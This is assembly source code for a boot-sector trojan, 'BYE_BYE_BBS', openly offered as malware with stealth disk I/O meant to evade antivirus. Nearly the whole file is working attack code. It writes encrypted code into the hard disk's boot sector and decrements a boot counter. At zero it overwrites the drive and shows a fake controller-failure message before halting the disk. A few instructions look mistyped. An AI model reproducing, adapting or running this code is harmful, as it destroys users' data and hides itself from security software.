; BYE_BYE_BBS By Commander Crash

; This trojan horse demonstrates the use of stealth disk I/O techniques to avoid detection from Windows
; and all antivirus software.

; How it works:

; The actual trojan is quite simple, and is designed to simply demonstrate one practical use of the
; stealth disk I/O routines. When this program is run, it installs encrypted boot sector code in the
; hard disk's boot sector after making a backup of the boot sector in sector 7. When the victim reboots
; his/her PC, it is loaded into 0000:7C00 in memory. The trojan first decrypts itself into 8000:0000 and
; continues from there, effectively moving itself out of the boot area in memory. It then decrements a
; counter in the boot sector. If it hits 0, it then corrupts the drive. Any further attempts to boot
; simply display an error and shuts the HDD down. If the counter hasn't reached 0, the sector 7 is loaded
; from disk to 0000:7C00 (Good thing we got outta there) and control is given to it once again. The boot
; process then  continues normally.
        .MODEL tiny
        .STACK 200h

        HDDATA Equ 01f0h
        HDERROR Equ 01f1h
        HDPRECOMP Equ 01f1h
        HDSECTORS Equ 01f2h
        HDSECTOR Equ 01f3h
        HDCYLLOW Equ 01f4h
        HDCYLHIGH Equ 01f5h
        HDDRHEAD Equ 01f6h
        HDDCMD Equ 01f7h
        HDSTATUS Equ 01f7h
; Hard disk drive port definitions
        STEALTH Equ 08000h
; Stealth bit to use to hide disk I/O
        READ Equ 020h
; HDD commands (Read data)
        WRITE Equ 030h
; (Write Data)
        ON Equ 040h
; (Turn on HDD via read verify)
        OFF Equ 0E0h
; (Spin down HDD)
        SLEEP Equ 0E6h
; (Turn off HDD for good; at least till reset)

        .CODE
; Installer
        mov ax, cs
        mov ds, ax
; set up data segment
        mov es, ax
        mov di, OFFSET sectorData
        mov ax, 0
        mov bx, 0
        mov cl, 1
        mov ch, 1
        mov si, READ
        call hdRW
; Read in the old boot sector
        mov di, OFFSET sectorData
        add di, 401
        cmp BYTE PTR[di], ';'
; Look for ";)" Signature
        jne short nosig
        cmp BYTE PTR[di+1], ')'
        je short exit
; If we're already installed, exit

nosig:
        mov ax, OFFSET sectorData
        mov di, ax
        mov ax, 0
        mov bx, 0
        mov cl, 7
        mov ch, 1
        mov si, WRITE
        call hdRW
; copy the boot sector in sect 7
        mov di, OFFSET sectorData
        mov si, OFFSET bootProgram
        cld
        mov cx, OFFSET bootProgramEnd - OFFSET bootProgram
        rep movsb
; Copy our program into the boot data
        mov cx, OFFSET bootProgramEnd - OFFSET start
        mov di, OFFSET start - OFFSET bootProgram
        add di, OFFSET sectorData
        mov si, di

EncryptNextbyte:
        lodsb
        xor al, '*'
        stosb
        loop encryptNextByte
; Scramble part of the trojan
        mov ax, OFFSET sectorData
        add ax, 400
        mov di, ax
        mov [di], BYTE PTR 0Ah
; Counter in boot (10 times)
        mov [di+1], BYTE PTR ';'
        mov [di+2], BYTE PTR ')'
; Signature in boot
        mov ax, OFFSET sectorData
        mov di, ax
        mov ax, 0
        mov bx, 0
        mov cl, 1
        mov ch, 1
        mov si, WRITE
        call hdRW
; Write the new boot sector

exit:
        mov ah, 4ch
        int 21h
; Terminate the program

; Boot sector program
bootProgram:
; This is at 0000:7COOh
        cld
; loader
        mov ax, cs
        mov ds, ax
        mov si, OFFSET start - OFFSET bootProgram + 7C00h
        mov cx, OFFSET bootProgramEnd - OFFSET start
        mov ax, 8000h
        mov es, ax
        mov di, 0

decryptNextByte:
        lodsb
        xor al, '*'
        stosb
        loop decryptNextByte
; copy our code to 8000:0000
        DB 0EAh, 00h, 00h, 00h, 080h
; Jump to our code (jmp 8000:0000h)

start:
        mov ax, 09000h
        mov ds, ax
        mov di, 0
        mov ax, 0
        mov bx, 0
        mov cl, 1
        mov ch, 1
        mov si, READ
        call hdRW
; Read in our boot sector
        mov bx, 400
        cmp BYTE PTR [bx], 0
; Has our counter hit 0 already?
        je errMessage
; Yes? Show error message
        dec BYTE PTR [bx]
; No? That's 1 less time...
        mov di, 0
        mov ax, 0
        mov bx, 0
        mov cl, 1
        mov ch, 1
        mov si, WRITE
        call hdRW
; Save the new counter
        mov bx, 400
        cmp BYTE PTR [bx], 0
        je wipeDrive
; We just hit 0? WipeDrive
        xor ax, ax
        mov ds, ax
        mov ax, 07C00h
        mov di, ax
        mov ax, 0
        mov bx, 0
        mov cl, 7
        mov ch, 1
        mov si, READ
        call hdRW
; Read in the old boot sector
        DB 0EAh, 00h, 07Ch, 00h, 00h
; Jump to old boot sector @ 7C00h

errMessage:
        mov cx, 26
        mov si, OFFSET errText - OFFSET start
        mov ax, cs
        mov ds, ax

outLoop:
        mov ah, 0Eh
        mov al, [si]
        inc si
        mov bx, 0007h
        int 10h
        loop outLoop
; Show the error message
        mov dx, HDDCMD or STEALTH
; Shut the HD up.
        mov al, SLEEP
        out dx, al

lockup:
        jmp short lockup
; Freeze up the system

wipeDrive:
        mov ah, 08h
        mov dl, 080h
        int 13h
; Get drive parameters
        inc dh
        mov MAXHEADS, dh
        and cl, 01Fh
        inc cl
        mov MAXSECTS, cl
        mov bx, 0
; bx = cur cylinder
        mov cx, 0101h
        mov ax, 0100h

nextSect:
        mov di, 2600h
        mov si, WRITE
        push ax
        push cx
        push bx
        call hdRW
        cli
        pop bx
        pop cx
        pop ax
        inc oh
        cmp ah, MAXHEADS
        jne nextSect
        mov ah, 0
        inc cl
        cmp cl, MAXSECTS
        jne nextSect
        mov cl, 0
        inc bx
        jmp short nextSect

errText:
        DB 0Ah, 'HDD 0 controller failure', 07h
        MAXHEADS DB (?)
        MAXSECTS DB (?)

; hdWait

; Waits for the hard drive and controller to finish it's current task before returning.
        hdWait Proc Near
        push dx
        push ax

hdWaitLp:
        mov dx, HDSTATUS or STEALTH
        in al, dx
        mov ah, al
        and ah, 050h
        cmp ah, 050h
        jne short hdWaitLp
        and al, 080h
        cmp al, 080h
        je short hdWaitLp
        pop ax
        pop dx
        ret
        hdWait Endp

; hdRW

; Reads or writes a block of data to or from the hard drive
; DI - Buffer, AL - drive, AH - head ; bx - cylinder, cl - sector, ch - numsectors, si - read/write
        hdRW Proc Near
        call hdWait
        cli
; Leave me alone, other ints!
        shr al, 4
        or al, ah
        or al, 0A0h
        mov dx, HDDRHEAD or STEALTH
        out dx, al
; Set up drive_and head register
        mov dx, HDCYLLOW or STEALTH
        mov ax, bx
        out dx, ax
; Set up the cylinder registers
        mov dx, HDSECTOR or STEALTH
        mov al, cl
        out dx, al
; Set up sector register
        mov dx, HDSECTORS or STEALTH
        mov al, ch
        out dx, al
; # of sectors to xfer
        mov dx, HDDCMD or STEALTH
        mov ax, si
        out dx, al
; READ/WRITE
        call hdWait
        mov dx, HDSTATUS or STEALTH

drq:
        in al, dx
        and al, 08h
        cmp al, 08h
        jne drq
; Wait for data request
        cmp si, READ
        je readNextSector

writeNextSector:
; Write 256 words for 1 sector
        mov bl, 0FFh

writeNextByte:
        mov dx, HDDATA or STEALTH
        mov ax, [DI]
        out dx, ax
        add di, 2
        dec bl
        cmp bl, 0FFh
        jnz short writeNextByte
        dec ch
        jnz short writeNextSector
; Loop till done with all sectors
        jmp short exitRW

readNextSector:
        mov bl, 0FFh
; Read 256 words for 1 sector

readNextByte:
        mov dx, HDDATA or STEALTH
        in ax, dx
        mov [DI], ax
        add di, 2
        dec bl
        cmp bl, 0FFh
        jnz short readNextByte
        dec ch
        jnz short readNextSector
; Loop till done with all sectors

exitRW:
        sti
        ret
        hdRW Endp

bootProgramEnd:
        sectorData DB 512 DUP (?)
        end start
END